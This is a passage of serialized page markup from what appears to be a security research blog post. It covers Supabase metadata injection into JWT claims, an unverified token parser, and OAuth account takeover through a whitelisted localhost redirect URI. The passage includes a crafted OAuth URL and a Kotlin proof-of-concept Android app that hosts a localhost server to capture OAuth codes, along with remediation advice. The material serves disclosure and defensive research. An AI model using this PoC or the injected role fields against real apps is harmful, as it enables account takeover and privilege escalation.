",{"type":23,"tag":94,"props":69130,"children":69132},{"className":69131},[],[69133],{"type":28,"value":68776},{"type":28,"value":557},{"type":23,"tag":94,"props":69136,"children":69138},{"className":69137},[],[69139],{"type":28,"value":69140},"identity_data",{"type":28,"value":69142},", in a signup request by manipulating the input inside the ",{"type":23,"tag":94,"props":69144,"children":69146},{"className":69145},[],[69147],{"type":28,"value":69148},"\"data\": {}",{"type":28,"value":69150}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":23,"tag":24,"props":69152,"children":69153},{},[69154,69156,69162,69163,69169,69171,69177],{"type":28,"value":69155},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":23,"tag":94,"props":69157,"children":69159},{"className":69158},[],[69160],{"type":28,"value":69161},"\"role\": \"admin\"",{"type":28,"value":515},{"type":23,"tag":94,"props":69164,"children":69166},{"className":69165},[],[69167],{"type":28,"value":69168},"\"email_verified\": true",{"type":28,"value":69170},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":23,"tag":94,"props":69172,"children":69174},{"className":69173},[],[69175],{"type":28,"value":69176},"\"test\": \"test\"",{"type":28,"value":69178},", enabling us to inject arbitrary data into the final JWT token.",{"type":23,"tag":24,"props":69180,"children":69181},{},[69182],{"type":23,"tag":197,"props":69183,"children":69185},{"alt":49829,"src":69184},"/posts/web2-in-web3/image-4.png",[],{"type":23,"tag":24,"props":69187,"children":69188},{},[69189],{"type":28,"value":69190},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":23,"tag":24,"props":69192,"children":69193},{},[69194],{"type":28,"value":69195},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":23,"tag":304,"props":69197,"children":69199},{"className":30611,"code":69198,"language":30613,"meta":7,"style":7},"function parseSupaBase(token) {\n try {\n const [header, payload, signature] = token.split('.');\n const decodedHeader = JSON.parse(atob(header));\n const decodedPayload = JSON.parse(atob(payload));\n return { header: decodedHeader, payload: decodedPayload, signature };\n } catch (error) {\n console.error('Error parsing token:', error);\n return null;\n }\n}\n",[69200],{"type":23,"tag":94,"props":69201,"children":69202},{"__ignoreMap":7},[69203,69228,69240,69309,69358,69406,69451,69474,69511,69527,69534],{"type":23,"tag":314,"props":69204,"children":69205},{"class":316,"line":317},[69206,69210,69215,69219,69224],{"type":23,"tag":314,"props":69207,"children":69208},{"style":321},[69209],{"type":28,"value":30625},{"type":23,"tag":314,"props":69211,"children":69212},{"style":332},[69213],{"type":28,"value":69214}," parseSupaBase",{"type":23,"tag":314,"props":69216,"children":69217},{"style":338},[69218],{"type":28,"value":341},{"type":23,"tag":314,"props":69220,"children":69221},{"style":360},[69222],{"type":28,"value":69223},"token",{"type":23,"tag":314,"props":69225,"children":69226},{"style":338},[69227],{"type":28,"value":367},{"type":23,"tag":314,"props":69229,"children":69230},{"class":316,"line":370},[69231,69236],{"type":23,"tag":314,"props":69232,"children":69233},{"style":2284},[69234],{"type":28,"value":69235}," try",{"type":23,"tag":314,"props":69237,"children":69238},{"style":338},[69239],{"type":28,"value":1449},{"type":23,"tag":314,"props":69241,"children":69242},{"class":316,"line":380},[69243,69247,69251,69256,69260,69265,69269,69274,69278,69282,69287,69291,69296,69300,69305],{"type":23,"tag":314,"props":69244,"children":69245},{"style":321},[69246],{"type":28,"value":32149},{"type":23,"tag":314,"props":69248,"children":69249},{"style":338},[69250],{"type":28,"value":22270},{"type":23,"tag":314,"props":69252,"children":69253},{"style":360},[69254],{"type":28,"value":69255},"header",{"type":23,"tag":314,"props":69257,"children":69258},{"style":338},[69259],{"type":28,"value":778},{"type":23,"tag":314,"props":69261,"children":69262},{"style":360},[69263],{"type":28,"value":69264},"payload",{"type":23,"tag":314,"props":69266,"children":69267},{"style":338},[69268],{"type":28,"value":778},{"type":23,"tag":314,"props":69270,"children":69271},{"style":360},[69272],{"type":28,"value":69273},"signature",{"type":23,"tag":314,"props":69275,"children":69276},{"style":338},[69277],{"type":28,"value":1322},{"type":23,"tag":314,"props":69279,"children":69280},{"style":354},[69281],{"type":28,"value":1102},{"type":23,"tag":314,"props":69283,"children":69284},{"style":360},[69285],{"type":28,"value":69286}," token",{"type":23,"tag":314,"props":69288,"children":69289},{"style":338},[69290],{"type":28,"value":282},{"type":23,"tag":314,"props":69292,"children":69293},{"style":332},[69294],{"type":28,"value":69295},"split",{"type":23,"tag":314,"props":69297,"children":69298},{"style":338},[69299],{"type":28,"value":341},{"type":23,"tag":314,"props":69301,"children":69302},{"style":1245},[69303],{"type":28,"value":69304},"'.'",{"type":23,"tag":314,"props":69306,"children":69307},{"style":338},[69308],{"type":28,"value":1025},{"type":23,"tag":314,"props":69310,"children":69311},{"class":316,"line":1091},[69312,69316,69321,69325,69329,69333,69337,69341,69346,69350,69354],{"type":23,"tag":314,"props":69313,"children":69314},{"style":321},[69315],{"type":28,"value":32149},{"type":23,"tag":314,"props":69317,"children":69318},{"style":360},[69319],{"type":28,"value":69320}," decodedHeader",{"type":23,"tag":314,"props":69322,"children":69323},{"style":354},[69324],{"type":28,"value":1237},{"type":23,"tag":314,"props":69326,"children":69327},{"style":360},[69328],{"type":28,"value":36777},{"type":23,"tag":314,"props":69330,"children":69331},{"style":338},[69332],{"type":28,"value":282},{"type":23,"tag":314,"props":69334,"children":69335},{"style":332},[69336],{"type":28,"value":38459},{"type":23,"tag":314,"props":69338,"children":69339},{"style":338},[69340],{"type":28,"value":341},{"type":23,"tag":314,"props":69342,"children":69343},{"style":332},[69344],{"type":28,"value":69345},"atob",{"type":23,"tag":314,"props":69347,"children":69348},{"style":338},[69349],{"type":28,"value":341},{"type":23,"tag":314,"props":69351,"children":69352},{"style":360},[69353],{"type":28,"value":69255},{"type":23,"tag":314,"props":69355,"children":69356},{"style":338},[69357],{"type":28,"value":6478},{"type":23,"tag":314,"props":69359,"children":69360},{"class":316,"line":1141},[69361,69365,69370,69374,69378,69382,69386,69390,69394,69398,69402],{"type":23,"tag":314,"props":69362,"children":69363},{"style":321},[69364],{"type":28,"value":32149},{"type":23,"tag":314,"props":69366,"children":69367},{"style":360},[69368],{"type":28,"value":69369}," decodedPayload",{"type":23,"tag":314,"props":69371,"children":69372},{"style":354},[69373],{"type":28,"value":1237},{"type":23,"tag":314,"props":69375,"children":69376},{"style":360},[69377],{"type":28,"value":36777},{"type":23,"tag":314,"props":69379,"children":69380},{"style":338},[69381],{"type":28,"value":282},{"type":23,"tag":314,"props":69383,"children":69384},{"style":332},[69385],{"type":28,"value":38459},{"type":23,"tag":314,"props":69387,"children":69388},{"style":338},[69389],{"type":28,"value":341},{"type":23,"tag":314,"props":69391,"children":69392},{"style":332},[69393],{"type":28,"value":69345},{"type":23,"tag":314,"props":69395,"children":69396},{"style":338},[69397],{"type":28,"value":341},{"type":23,"tag":314,"props":69399,"children":69400},{"style":360},[69401],{"type":28,"value":69264},{"type":23,"tag":314,"props":69403,"children":69404},{"style":338},[69405],{"type":28,"value":6478},{"type":23,"tag":314,"props":69407,"children":69408},{"class":316,"line":1173},[69409,69413,69417,69422,69426,69430,69435,69439,69443,69447],{"type":23,"tag":314,"props":69410,"children":69411},{"style":2284},[69412],{"type":28,"value":14985},{"type":23,"tag":314,"props":69414,"children":69415},{"style":338},[69416],{"type":28,"value":1242},{"type":23,"tag":314,"props":69418,"children":69419},{"style":360},[69420],{"type":28,"value":69421},"header:",{"type":23,"tag":314,"props":69423,"children":69424},{"style":360},[69425],{"type":28,"value":69320},{"type":23,"tag":314,"props":69427,"children":69428},{"style":338},[69429],{"type":28,"value":778},{"type":23,"tag":314,"props":69431,"children":69432},{"style":360},[69433],{"type":28,"value":69434},"payload:",{"type":23,"tag":314,"props":69436,"children":69437},{"style":360},[69438],{"type":28,"value":69369},{"type":23,"tag":314,"props":69440,"children":69441},{"style":338},[69442],{"type":28,"value":778},{"type":23,"tag":314,"props":69444,"children":69445},{"style":360},[69446],{"type":28,"value":69273},{"type":23,"tag":314,"props":69448,"children":69449},{"style":338},[69450],{"type":28,"value":1298},{"type":23,"tag":314,"props":69452,"children":69453},{"class":316,"line":1208},[69454,69458,69462,69466,69470],{"type":23,"tag":314,"props":69455,"children":69456},{"style":338},[69457],{"type":28,"value":15020},{"type":23,"tag":314,"props":69459,"children":69460},{"style":2284},[69461],{"type":28,"value":47661},{"type":23,"tag":314,"props":69463,"children":69464},{"style":338},[69465],{"type":28,"value":2324},{"type":23,"tag":314,"props":69467,"children":69468},{"style":360},[69469],{"type":28,"value":14106},{"type":23,"tag":314,"props":69471,"children":69472},{"style":338},[69473],{"type":28,"value":367},{"type":23,"tag":314,"props":69475,"children":69476},{"class":316,"line":1216},[69477,69482,69486,69490,69494,69499,69503,69507],{"type":23,"tag":314,"props":69478,"children":69479},{"style":360},[69480],{"type":28,"value":69481}," console",{"type":23,"tag":314,"props":69483,"children":69484},{"style":338},[69485],{"type":28,"value":282},{"type":23,"tag":314,"props":69487,"children":69488},{"style":332},[69489],{"type":28,"value":14106},{"type":23,"tag":314,"props":69491,"children":69492},{"style":338},[69493],{"type":28,"value":341},{"type":23,"tag":314,"props":69495,"children":69496},{"style":1245},[69497],{"type":28,"value":69498},"'Error parsing token:'",{"type":23,"tag":314,"props":69500,"children":69501},{"style":338},[69502],{"type":28,"value":778},{"type":23,"tag":314,"props":69504,"children":69505},{"style":360},[69506],{"type":28,"value":14106},{"type":23,"tag":314,"props":69508,"children":69509},{"style":338},[69510],{"type":28,"value":1025},{"type":23,"tag":314,"props":69512,"children":69513},{"class":316,"line":1301},[69514,69518,69523],{"type":23,"tag":314,"props":69515,"children":69516},{"style":2284},[69517],{"type":28,"value":14985},{"type":23,"tag":314,"props":69519,"children":69520},{"style":321},[69521],{"type":28,"value":69522}," null",{"type":23,"tag":314,"props":69524,"children":69525},{"style":338},[69526],{"type":28,"value":2278},{"type":23,"tag":314,"props":69528,"children":69529},{"class":316,"line":1343},[69530],{"type":23,"tag":314,"props":69531,"children":69532},{"style":338},[69533],{"type":28,"value":2610},{"type":23,"tag":314,"props":69535,"children":69536},{"class":316,"line":1351},[69537],{"type":23,"tag":314,"props":69538,"children":69539},{"style":338},[69540],{"type":28,"value":386},{"type":23,"tag":837,"props":69542,"children":69543},{"id":39581},[69544],{"type":28,"value":39584},{"type":23,"tag":24,"props":69546,"children":69547},{},[69548,69550,69557,69559,69565],{"type":28,"value":69549},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":23,"tag":31,"props":69551,"children":69554},{"href":69552,"rel":69553},"https://supabase.com/docs/guides/database/postgres/row-level-security",[35],[69555],{"type":28,"value":69556},"Row-Level Security",{"type":28,"value":69558}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":23,"tag":94,"props":69560,"children":69562},{"className":69561},[],[69563],{"type":28,"value":69564},"app_metadata",{"type":28,"value":69566},". These fields must be strictly validated at every step of their creation and update processes.",{"type":23,"tag":61,"props":69568,"children":69570},{"id":69569},"oauth-in-development-environments",[69571],{"type":28,"value":69572},"OAuth in development environments",{"type":23,"tag":24,"props":69574,"children":69575},{},[69576,69578,69585,69587,69592],{"type":28,"value":69577},"After watching a ",{"type":23,"tag":31,"props":69579,"children":69582},{"href":69580,"rel":69581},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[35],[69583],{"type":28,"value":69584},"talk",{"type":28,"value":69586}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":23,"tag":94,"props":69588,"children":69590},{"className":69589},[],[69591],{"type":28,"value":69018},{"type":28,"value":69593}," parameter during the OAuth flow.",{"type":23,"tag":24,"props":69595,"children":69596},{},[69597,69599,69606],{"type":28,"value":69598},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":23,"tag":31,"props":69600,"children":69603},{"href":69601,"rel":69602},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[35],[69604],{"type":28,"value":69605},"Remote Code Execution",{"type":28,"value":69607}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":23,"tag":24,"props":69609,"children":69610},{},[69611,69613,69619],{"type":28,"value":69612},"In one of our client's implementations, we identified that ",{"type":23,"tag":94,"props":69614,"children":69616},{"className":69615},[],[69617],{"type":28,"value":69618},"localhost:3000",{"type":28,"value":69620}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":23,"tag":24,"props":69622,"children":69623},{},[69624],{"type":28,"value":69625},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":23,"tag":304,"props":69627,"children":69631},{"className":69628,"code":69629,"language":69630,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[69632],{"type":23,"tag":94,"props":69633,"children":69634},{"__ignoreMap":7},[69635],{"type":23,"tag":314,"props":69636,"children":69637},{"class":316,"line":317},[69638],{"type":23,"tag":314,"props":69639,"children":69640},{},[69641],{"type":28,"value":69629},{"type":23,"tag":24,"props":69643,"children":69644},{},[69645],{"type":28,"value":69646},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":23,"tag":304,"props":69648,"children":69652},{"className":69649,"code":69650,"language":69651,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n override fun onCreate(savedInstanceState: Bundle?) {\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.search;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n}\n","kotlin",[69653],{"type":23,"tag":94,"props":69654,"children":69655},{"__ignoreMap":7},[69656,69683,69690,69722,69744,69751,69759,69781,69793,69805,69840,69866,69916,69923,69930,69937,69945,69967,70002,70015,70022,70029,70050,70076,70088,70109,70126,70138,70164,70203,70224,70232,70244,70269,70281,70294,70302,70309,70317,70325,70332,70362,70369],{"type":23,"tag":314,"props":69657,"children":69658},{"class":316,"line":317},[69659,69664,69669,69674,69679],{"type":23,"tag":314,"props":69660,"children":69661},{"style":321},[69662],{"type":28,"value":69663},"class",{"type":23,"tag":314,"props":69665,"children":69666},{"style":2674},[69667],{"type":28,"value":69668}," MainActivity",{"type":23,"tag":314,"props":69670,"children":69671},{"style":338},[69672],{"type":28,"value":69673}," : ",{"type":23,"tag":314,"props":69675,"children":69676},{"style":2674},[69677],{"type":28,"value":69678},"AppCompatActivity",{"type":23,"tag":314,"props":69680,"children":69681},{"style":338},[69682],{"type":28,"value":14977},{"type":23,"tag":314,"props":69684,"children":69685},{"class":316,"line":370},[69686],{"type":23,"tag":314,"props":69687,"children":69688},{"emptyLinePlaceholder":18},[69689],{"type":28,"value":1088},{"type":23,"tag":314,"props":69691,"children":69692},{"class":316,"line":380},[69693,69698,69702,69707,69712,69717],{"type":23,"tag":314,"props":69694,"children":69695},{"style":321},[69696],{"type":28,"value":69697}," override",{"type":23,"tag":314,"props":69699,"children":69700},{"style":321},[69701],{"type":28,"value":5462},{"type":23,"tag":314,"props":69703,"children":69704},{"style":332},[69705],{"type":28,"value":69706}," onCreate",{"type":23,"tag":314,"props":69708,"children":69709},{"style":338},[69710],{"type":28,"value":69711},"(savedInstanceState: ",{"type":23,"tag":314,"props":69713,"children":69714},{"style":2674},[69715],{"type":28,"value":69716},"Bundle",{"type":23,"tag":314,"props":69718,"children":69719},{"style":338},[69720],{"type":28,"value":69721},"?) {\n",{"type":23,"tag":314,"props":69723,"children":69724},{"class":316,"line":1091},[69725,69730,69734,69739],{"type":23,"tag":314,"props":69726,"children":69727},{"style":321},[69728],{"type":28,"value":69729}," super",{"type":23,"tag":314,"props":69731,"children":69732},{"style":338},[69733],{"type":28,"value":282},{"type":23,"tag":314,"props":69735,"children":69736},{"style":332},[69737],{"type":28,"value":69738},"onCreate",{"type":23,"tag":314,"props":69740,"children":69741},{"style":338},[69742],{"type":28,"value":69743},"(savedInstanceState)\n",{"type":23,"tag":314,"props":69745,"children":69746},{"class":316,"line":1141},[69747],{"type":23,"tag":314,"props":69748,"children":69749},{"emptyLinePlaceholder":18},[69750],{"type":28,"value":1088},{"type":23,"tag":314,"props":69752,"children":69753},{"class":316,"line":1173},[69754],{"type":23,"tag":314,"props":69755,"children":69756},{"style":374},[69757],{"type":28,"value":69758}," // Start the Ktor web server\n",{"type":23,"tag":314,"props":69760,"children":69761},{"class":316,"line":1208},[69762,69767,69772,69777],{"type":23,"tag":314,"props":69763,"children":69764},{"style":332},[69765],{"type":28,"value":69766}," CoroutineScope",{"type":23,"tag":314,"props":69768,"children":69769},{"style":338},[69770],{"type":28,"value":69771},"(Dispatchers.IO).",{"type":23,"tag":314,"props":69773,"children":69774},{"style":332},[69775],{"type":28,"value":69776},"launch",{"type":23,"tag":314,"props":69778,"children":69779},{"style":338},[69780],{"type":28,"value":1449},{"type":23,"tag":314,"props":69782,"children":69783},{"class":316,"line":1216},[69784,69789],{"type":23,"tag":314,"props":69785,"children":69786},{"style":2284},[69787],{"type":28,"value":69788}," try",{"type":23,"tag":314,"props":69790,"children":69791},{"style":338},[69792],{"type":28,"value":1449},{"type":23,"tag":314,"props":69794,"children":69795},{"class":316,"line":1301},[69796,69801],{"type":23,"tag":314,"props":69797,"children":69798},{"style":332},[69799],{"type":28,"value":69800}," startWebServer",{"type":23,"tag":314,"props":69802,"children":69803},{"style":338},[69804],{"type":28,"value":6990},{"type":23,"tag":314,"props":69806,"children":69807},{"class":316,"line":1343},[69808,69813,69818,69822,69827,69831,69836],{"type":23,"tag":314,"props":69809,"children":69810},{"style":338},[69811],{"type":28,"value":69812}," Log.",{"type":23,"tag":314,"props":69814,"children":69815},{"style":332},[69816],{"type":28,"value":69817},"d",{"type":23,"tag":314,"props":69819,"children":69820},{"style":338},[69821],{"type":28,"value":341},{"type":23,"tag":314,"props":69823,"children":69824},{"style":1245},[69825],{"type":28,"value":69826},"\"WebServer\"",{"type":23,"tag":314,"props":69828,"children":69829},{"style":338},[69830],{"type":28,"value":778},{"type":23,"tag":314,"props":69832,"children":69833},{"style":1245},[69834],{"type":28,"value":69835},"\"Server started on http://localhost:3000\"",{"type":23,"tag":314,"props":69837,"children":69838},{"style":338},[69839],{"type":28,"value":2414},{"type":23,"tag":314,"props":69841,"children":69842},{"class":316,"line":1351},[69843,69848,69852,69857,69862],{"type":23,"tag":314,"props":69844,"children":69845},{"style":338},[69846],{"type":28,"value":69847}," } ",{"type":23,"tag":314,"props":69849,"children":69850},{"style":321},[69851],{"type":28,"value":47661},{"type":23,"tag":314,"props":69853,"children":69854},{"style":338},[69855],{"type":28,"value":69856}," (e: ",{"type":23,"tag":314,"props":69858,"children":69859},{"style":2674},[69860],{"type":28,"value":69861},"Exception",{"type":23,"tag":314,"props":69863,"children":69864},{"style":338},[69865],{"type":28,"value":367},{"type":23,"tag":314,"props":69867,"children":69868},{"class":316,"line":1387},[69869,69873,69877,69881,69885,69889,69894,69898,69903,69907,69911],{"type":23,"tag":314,"props":69870,"children":69871},{"style":338},[69872],{"type":28,"value":69812},{"type":23,"tag":314,"props":69874,"children":69875},{"style":332},[69876],{"type":28,"value":50705},{"type":23,"tag":314,"props":69878,"children":69879},{"style":338},[69880],{"type":28,"value":341},{"type":23,"tag":314,"props":69882,"children":69883},{"style":1245},[69884],{"type":28,"value":69826},{"type":23,"tag":314,"props":69886,"children":69887},{"style":338},[69888],{"type":28,"value":778},{"type":23,"tag":314,"props":69890,"children":69891},{"style":1245},[69892],{"type":28,"value":69893},"\"Error starting server: ",{"type":23,"tag":314,"props":69895,"children":69896},{"style":321},[69897],{"type":28,"value":33357},{"type":23,"tag":314,"props":69899,"children":69900},{"style":354},[69901],{"type":28,"value":69902},"e.message",{"type":23,"tag":314,"props":69904,"children":69905},{"style":321},[69906],{"type":28,"value":33389},{"type":23,"tag":314,"props":69908,"children":69909},{"style":1245},[69910],{"type":28,"value":19297},{"type":23,"tag":314,"props":69912,"children":69913},{"style":338},[69914],{"type":28,"value":69915},", e)\n",{"type":23,"tag":314,"props":69917,"children":69918},{"class":316,"line":1422},[69919],{"type":23,"tag":314,"props":69920,"children":69921},{"style":338},[69922],{"type":28,"value":58136},{"type":23,"tag":314,"props":69924,"children":69925},{"class":316,"line":1430},[69926],{"type":23,"tag":314,"props":69927,"children":69928},{"style":338},[69929],{"type":28,"value":2602},{"type":23,"tag":314,"props":69931,"children":69932},{"class":316,"line":1452},[69933],{"type":23,"tag":314,"props":69934,"children":69935},{"emptyLinePlaceholder":18},[69936],{"type":28,"value":1088},{"type":23,"tag":314,"props":69938,"children":69939},{"class":316,"line":1497},[69940],{"type":23,"tag":314,"props":69941,"children":69942},{"style":374},[69943],{"type":28,"value":69944}," // Open the Google OAuth page\n",{"type":23,"tag":314,"props":69946,"children":69947},{"class":316,"line":1539},[69948,69953,69958,69962],{"type":23,"tag":314,"props":69949,"children":69950},{"style":321},[69951],{"type":28,"value":69952}," val",{"type":23,"tag":314,"props":69954,"children":69955},{"style":338},[69956],{"type":28,"value":69957}," googleOAuthUrl ",{"type":23,"tag":314,"props":69959,"children":69960},{"style":354},[69961],{"type":28,"value":1102},{"type":23,"tag":314,"props":69963,"children":69964},{"style":1245},[69965],{"type":28,"value":69966}," \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n",{"type":23,"tag":314,"props":69968,"children":69969},{"class":316,"line":1548},[69970,69974,69979,69983,69988,69993,69997],{"type":23,"tag":314,"props":69971,"children":69972},{"style":321},[69973],{"type":28,"value":69952},{"type":23,"tag":314,"props":69975,"children":69976},{"style":338},[69977],{"type":28,"value":69978}," browserIntent ",{"type":23,"tag":314,"props":69980,"children":69981},{"style":354},[69982],{"type":28,"value":1102},{"type":23,"tag":314,"props":69984,"children":69985},{"style":332},[69986],{"type":28,"value":69987}," Intent",{"type":23,"tag":314,"props":69989,"children":69990},{"style":338},[69991],{"type":28,"value":69992},"(Intent.ACTION_VIEW, Uri.",{"type":23,"tag":314,"props":69994,"children":69995},{"style":332},[69996],{"type":28,"value":38459},{"type":23,"tag":314,"props":69998,"children":69999},{"style":338},[70000],{"type":28,"value":70001},"(googleOAuthUrl))\n",{"type":23,"tag":314,"props":70003,"children":70004},{"class":316,"line":1584},[70005,70010],{"type":23,"tag":314,"props":70006,"children":70007},{"style":332},[70008],{"type":28,"value":70009}," startActivity",{"type":23,"tag":314,"props":70011,"children":70012},{"style":338},[70013],{"type":28,"value":70014},"(browserIntent)\n",{"type":23,"tag":314,"props":70016,"children":70017},{"class":316,"line":1617},[70018],{"type":23,"tag":314,"props":70019,"children":70020},{"style":338},[70021],{"type":28,"value":2610},{"type":23,"tag":314,"props":70023,"children":70024},{"class":316,"line":1625},[70025],{"type":23,"tag":314,"props":70026,"children":70027},{"emptyLinePlaceholder":18},[70028],{"type":28,"value":1088},{"type":23,"tag":314,"props":70030,"children":70031},{"class":316,"line":1660},[70032,70037,70041,70046],{"type":23,"tag":314,"props":70033,"children":70034},{"style":321},[70035],{"type":28,"value":70036}," private",{"type":23,"tag":314,"props":70038,"children":70039},{"style":321},[70040],{"type":28,"value":5462},{"type":23,"tag":314,"props":70042,"children":70043},{"style":332},[70044],{"type":28,"value":70045}," startWebServer",{"type":23,"tag":314,"props":70047,"children":70048},{"style":338},[70049],{"type":28,"value":14977},{"type":23,"tag":314,"props":70051,"children":70052},{"class":316,"line":1708},[70053,70058,70063,70067,70072],{"type":23,"tag":314,"props":70054,"children":70055},{"style":332},[70056],{"type":28,"value":70057}," embeddedServer",{"type":23,"tag":314,"props":70059,"children":70060},{"style":338},[70061],{"type":28,"value":70062},"(CIO, port ",{"type":23,"tag":314,"props":70064,"children":70065},{"style":354},[70066],{"type":28,"value":1102},{"type":23,"tag":314,"props":70068,"children":70069},{"style":1054},[70070],{"type":28,"value":70071}," 3000",{"type":23,"tag":314,"props":70073,"children":70074},{"style":338},[70075],{"type":28,"value":367},{"type":23,"tag":314,"props":70077,"children":70078},{"class":316,"line":1743},[70079,70084],{"type":23,"tag":314,"props":70080,"children":70081},{"style":332},[70082],{"type":28,"value":70083}," routing",{"type":23,"tag":314,"props":70085,"children":70086},{"style":338},[70087],{"type":28,"value":1449},{"type":23,"tag":314,"props":70089,"children":70090},{"class":316,"line":1751},[70091,70096,70100,70105],{"type":23,"tag":314,"props":70092,"children":70093},{"style":321},[70094],{"type":28,"value":70095}," get",{"type":23,"tag":314,"props":70097,"children":70098},{"style":338},[70099],{"type":28,"value":341},{"type":23,"tag":314,"props":70101,"children":70102},{"style":1245},[70103],{"type":28,"value":70104},"\"{...}\"",{"type":23,"tag":314,"props":70106,"children":70107},{"style":338},[70108],{"type":28,"value":367},{"type":23,"tag":314,"props":70110,"children":70111},{"class":316,"line":1791},[70112,70117,70122],{"type":23,"tag":314,"props":70113,"children":70114},{"style":338},[70115],{"type":28,"value":70116}," call.",{"type":23,"tag":314,"props":70118,"children":70119},{"style":332},[70120],{"type":28,"value":70121},"respondHtml",{"type":23,"tag":314,"props":70123,"children":70124},{"style":338},[70125],{"type":28,"value":1449},{"type":23,"tag":314,"props":70127,"children":70128},{"class":316,"line":1805},[70129,70134],{"type":23,"tag":314,"props":70130,"children":70131},{"style":332},[70132],{"type":28,"value":70133}," head",{"type":23,"tag":314,"props":70135,"children":70136},{"style":338},[70137],{"type":28,"value":1449},{"type":23,"tag":314,"props":70139,"children":70140},{"class":316,"line":1818},[70141,70146,70151,70155,70160],{"type":23,"tag":314,"props":70142,"children":70143},{"style":332},[70144],{"type":28,"value":70145}," meta",{"type":23,"tag":314,"props":70147,"children":70148},{"style":338},[70149],{"type":28,"value":70150},"(charset ",{"type":23,"tag":314,"props":70152,"children":70153},{"style":354},[70154],{"type":28,"value":1102},{"type":23,"tag":314,"props":70156,"children":70157},{"style":1245},[70158],{"type":28,"value":70159}," \"UTF-8\"",{"type":23,"tag":314,"props":70161,"children":70162},{"style":338},[70163],{"type":28,"value":2414},{"type":23,"tag":314,"props":70165,"children":70166},{"class":316,"line":1873},[70167,70171,70176,70180,70185,70190,70194,70199],{"type":23,"tag":314,"props":70168,"children":70169},{"style":332},[70170],{"type":28,"value":70145},{"type":23,"tag":314,"props":70172,"children":70173},{"style":338},[70174],{"type":28,"value":70175},"(name ",{"type":23,"tag":314,"props":70177,"children":70178},{"style":354},[70179],{"type":28,"value":1102},{"type":23,"tag":314,"props":70181,"children":70182},{"style":1245},[70183],{"type":28,"value":70184}," \"viewport\"",{"type":23,"tag":314,"props":70186,"children":70187},{"style":338},[70188],{"type":28,"value":70189},", content ",{"type":23,"tag":314,"props":70191,"children":70192},{"style":354},[70193],{"type":28,"value":1102},{"type":23,"tag":314,"props":70195,"children":70196},{"style":1245},[70197],{"type":28,"value":70198}," \"width=device-width, initial-scale=1.0\"",{"type":23,"tag":314,"props":70200,"children":70201},{"style":338},[70202],{"type":28,"value":2414},{"type":23,"tag":314,"props":70204,"children":70205},{"class":316,"line":1891},[70206,70211,70215,70220],{"type":23,"tag":314,"props":70207,"children":70208},{"style":332},[70209],{"type":28,"value":70210}," 